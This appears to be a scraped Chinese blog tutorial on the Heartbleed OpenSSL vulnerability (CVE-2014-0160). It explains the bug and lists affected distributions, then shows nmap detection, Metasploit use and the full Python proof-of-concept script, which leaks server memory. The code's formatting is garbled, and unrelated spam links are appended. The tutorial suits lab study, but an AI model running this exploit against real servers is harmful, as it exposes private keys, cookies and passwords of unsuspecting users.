当前位置: 首页 > news >正文

电子商务网站建设规划教案怎么建立图片的网站

电子商务网站建设规划教案,怎么建立图片的网站,彩票网站建设多少钱,会议网站建设的意义目录 #漏洞简介 #漏洞原理 #漏洞检测 #漏洞利用 #漏洞简介 心脏出血是openssl库中的一个内存漏洞#xff0c;攻击者利用这个漏洞可以服务到目标进程内存信息#xff0c;如其他人的cookie等敏感信息。 Heartbleed Bug 是流行的 OpenSSL 加密软件库中的一个严重漏洞。 此弱…目录 #漏洞简介 #漏洞原理 #漏洞检测 #漏洞利用 #漏洞简介 心脏出血是openssl库中的一个内存漏洞攻击者利用这个漏洞可以服务到目标进程内存信息如其他人的cookie等敏感信息。 Heartbleed Bug 是流行的 OpenSSL 加密软件库中的一个严重漏洞。 此弱点允许在正常情况下窃取受用于保护 Internet 的 SSL/TLS 加密保护的信息。 SSL/TLS 为 Web、电子邮件、即时消息 (IM) 和一些虚拟专用网络 (VPN) 等应用程序提供 Internet 上的通信安全和隐私。 Heartbleed 漏洞允许 Internet 上的任何人读取受 OpenSSL 软件易受攻击版本保护的系统内存。 这损害了用于识别服务提供商和加密流量、用户名和密码以及实际内容的密钥。 这允许攻击者窃听通信直接从服务和用户窃取数据并冒充服务和用户。 #漏洞原理 心脏出血漏洞主要通过攻击这模拟向服务器端发送自己编写的heartbeat心跳数据包主要是heartbeatmessage的长度与payload的length进行匹配若payload长度大于heartbeatmessage的length则会在服务器返回的response响应包中产生数据溢出造成有数据泄露。 #一些带有潜在易受攻击的 OpenSSL 版本的操作系统发行版 Debian Wheezy稳定OpenSSL 1.0.1e-2deb7u4Ubuntu 12.04.4 LTSOpenSSL 1.0.1-4ubuntu5.11CentOS 6.5、OpenSSL 1.0.1e-15Fedora 18OpenSSL 1.0.1e-4OpenBSD 5.3OpenSSL 1.0.1c 2012 年 5 月 10 日和 5.4OpenSSL 1.0.1c 2012 年 5 月 10 日FreeBSD 10.0 - OpenSSL 1.0.1e 2013 年 2 月 11 日NetBSD 5.0.2 (OpenSSL 1.0.1e)OpenSUSE 12.2 (OpenSSL 1.0.1c) 具有不易受攻击版本的操作系统分发 Debian Squeeze (oldstable)OpenSSL 0.9.8o-4squeeze14SUSE Linux 企业服务器FreeBSD 8.4 - OpenSSL 0.9.8y 2013 年 2 月 5 日FreeBSD 9.2 - OpenSSL 0.9.8y 2013 年 2 月 5 日FreeBSD 10.0p1 - OpenSSL 1.0.1g (At 8 Apr 18:27:46 2014 UTC)FreeBSD Ports - OpenSSL 1.0.1g (At 7 Apr 21:46:40 2014 UTC) #漏洞检测 环境启动之后 打开浏览器进行访问 如果检测一下是否为heartbleed漏洞可以通过通过nmap命令使用script ssl-heartbleed.nse板块进行扫描 nmap -sV -p 8443 -script ssl-heartbleed.nse 192.168.217.134 #漏洞利用 可以通过msf实现对该漏洞的利用。通过search openssl查看相关漏洞模块 使用该辅助模块然后通过options设置好相关参数设置完之后就运行 也可以通过环境自带的exp进行利用 使用python命令实现对其的利用 python ssltest.py 192.168.217.134 exp里的默认端口是443我这里需要进行修改不然就会显示拒绝连接 修改为8443之后就成功了 完整exp #!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguinjspenguin.org) # The author disclaims copyright to this source code.import sys import struct import socket import time import select import binascii import re from optparse import OptionParseroptions OptionParser(usage%prog server [options], descriptionTest for SSL heartbeat vulnerability (CVE-2014-0160)) options.add_option(-p, --port, typeint, default443, helpTCP port to test (default: 443))def h2bin(x):return binascii.unhexlify(x.replace( , ).replace(\n, ))hello h2bin( 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 )hb h2bin( 18 03 02 00 03 01 40 00 )def hexdump(s: bytes):for b in range(0, len(s), 16):lin [c for c in s[b : b 16]]hxdat .join(%02X % c for c in lin)pdat .join((chr(c) if 32 c 126 else . )for c in lin)print( %04x: %-48s %s % (b, hxdat, pdat))print()def recvall(s, length, timeout5):endtime time.time() timeoutrdata bremain lengthwhile remain 0:rtime endtime - time.time() if rtime 0:return Noner, w, e select.select([s], [], [], 5)if s in r:data s.recv(remain)# EOF?if not data:return Nonerdata dataremain - len(data)return rdatadef recvmsg(s):hdr recvall(s, 5)if hdr is None:print(Unexpected EOF receiving record header - server closed connection)return None, None, Nonetyp, ver, ln struct.unpack(BHH, hdr)pay recvall(s, ln, 10)if pay is None:print(Unexpected EOF receiving record payload - server closed connection)return None, None, Noneprint( ... received message: type %d, ver %04x, length %d % (typ, ver, len(pay)))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay recvmsg(s)if typ is None:print(No heartbeat response received, server likely not vulnerable)return Falseif typ 24:print(Received heartbeat response:)hexdump(pay)if len(pay) 3:print(WARNING: server returned more data than it should - server is vulnerable!)else:print(Server processed malformed heartbeat, but did not return any extra data.)return Trueif typ 21:print(Received alert:)hexdump(pay)print(Server returned error, likely not vulnerable)return Falsedef main():opts, args options.parse_args()if len(args) 1:options.print_help()returns socket.socket(socket.AF_INET, socket.SOCK_STREAM)print(Connecting...)sys.stdout.flush()s.connect((args[0], opts.port))print(Sending Client Hello...)sys.stdout.flush()s.send(hello)print(Waiting for Server Hello...)sys.stdout.flush()while True:typ, ver, pay recvmsg(s)if typ None:print(Server closed connection without sending Server Hello.)return# Look for server hello done message.if typ 22 and pay[0] 0x0E:breakprint(Sending heartbeat request...)sys.stdout.flush()s.send(hb)hit_hb(s)if __name__ __main__:main()
http://www.hkea.cn/news/14574847/

相关文章:

  • 天津代理记账电商seo优化
  • 帝国建站模板易联网站建设
  • 网站建设拟解决问题自己做鞋子网站
  • 免费素材网站 可商用天元建设集团有限公司张桂玉
  • 前端兼职平台的行业前景seo系统oem
  • 网站系统分析多个wordpress站点同步
  • app开发网站建设包含项目网站开发保密合同范本
  • 涂料厂做网站有用吗怎样开通微信公众号平台
  • 长沙微交易网站建设在哪里做网站好
  • 六安网站建设招聘惠州网站建设 翻译6
  • 童程童美少儿收费价目表郑州网站及优化
  • 个人网站的备案方式app开发注意事项
  • 知道源代码如何做网站十大免费ppt课件网站
  • 哪些网站结构是不合理的服装网站开发项目计划书
  • 江门市建设工程备案网站国产做性直播视频网站
  • 如何做淘宝网网站域名网站域名如何实名认证
  • 网络 网站建设办公重庆微网站开发公司
  • 怎么把网站管理系统工业设计是干啥的
  • 深圳福田专业网站推广建设银行官方网站首页个人登录
  • 常州网络推广网站企业微信怎么注册
  • p2p网站开发费用广州市住房建设部网站
  • 广州seo网站优化培训自己建网站的优势
  • 专业做美食视频的网站用yii框架做的网站如何搭建
  • 路桥网站制作cms 企业网站
  • 六安电子商务网站建设网站建设一般报价多少钱
  • 如何用flashfxp上传网站建筑模板图片高清
  • 做网站怎么在主机上放图片帮助设计的网站
  • 博客网站快速排名ajax wordpress 评论
  • 济源网站建设电话中山市做网站
  • 南昌哪里做网站怎么制作公司自己网站